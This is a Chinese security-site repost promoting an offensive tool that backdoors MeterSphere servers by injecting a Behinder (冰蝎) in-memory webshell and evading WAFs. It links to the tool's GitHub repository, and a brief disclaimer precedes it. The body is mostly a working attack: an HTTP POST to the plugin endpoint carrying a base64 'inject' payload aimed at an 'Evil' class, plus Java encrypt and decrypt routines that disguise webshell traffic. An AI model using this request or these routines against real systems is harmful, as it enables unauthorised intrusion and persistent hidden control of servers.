支持注入内存马和Bypass WAF(1个小时前更新)

admin 2023年12月12日15:49:44评论31 views字数 1816阅读6分3秒阅读模式

===================================

免责声明

 

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。
0x01 工具介绍

支持注入内存马和Bypass WAF

命令执行

支持注入内存马和Bypass WAF(1个小时前更新)

 

注入内存马

传入inject编码后的Base64进行注入冰蝎内存马

POST /plugin/customMethod HTTP/1.1Host: localhost:8081Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36Connection: closeCookie: MS_SESSION_ID=75407ecc-369b-48a7-ae80-d000f0d1b700Cache-Control: max-age=0Content-Type: application/jsonContent-Length: 65

{  "entry": "org.metersphere.Evil",  "request": "aW5qZWN0"}

冰蝎加密函数

private byte[] Encrypt(byte[] data) {    byte[] dt = new byte[data.length];    for (int i = 0; i < data.length; i++) {        dt[i] = (byte) (data[i] + 1);    }    try {        java.io.ByteArrayOutputStream o = new java.io.ByteArrayOutputStream();        java.util.zip.GZIPOutputStream g = new java.util.zip.GZIPOutputStream(o);        g.write(dt);        g.close();        byte[] c = o.toByteArray();        byte[] ct = new byte[c.length];

        for (int i = 0; i < c.length; i++) {            ct[i] = (byte) (c[i] + 1);        }        return ct;    } catch (Exception ignored) {    }    return data;}

冰蝎解密函数

private byte[] Decrypt(byte[] data) {    byte[] dt = new byte[data.length];    for (int i = 0; i < data.length; i++) {        dt[i] = (byte) (data[i] - 1);    }    try {        java.io.ByteArrayInputStream t = new java.io.ByteArrayInputStream(dt);        java.util.zip.GZIPInputStream i = new java.util.zip.GZIPInputStream(t, dt.length);        byte[] c = r(i);        byte[] ct = new byte[c.length];        for (int b = 0; b < c.length; b++) {            ct[b] = (byte) (c[b] - 1);        }        return ct;    } catch (Exception ignored) {    }    return data;}private byte[] r(java.io.InputStream i) {    byte[] temp = new byte[1024];    java.io.ByteArrayOutputStream b = new java.io.ByteArrayOutputStream();    int n;    try {        while((n = i.read(temp)) != -1) {b.write(temp, 0, n);        }} catch (Exception ignored) {    }    return b.toByteArray();}

 

支持注入内存马和Bypass WAF(1个小时前更新)

支持注入内存马和Bypass WAF(1个小时前更新)

0x02 项目链接下载

https://github.com/wafinfo/MeterSphere-plugin-Backdoor

原文始发于微信公众号(网络安全者):支持注入内存马和Bypass WAF(1个小时前更新)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月12日15:49:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   支持注入内存马和Bypass WAF(1个小时前更新)http://cn-sec.com/archives/2290068.html

发表评论

匿名网友 填写信息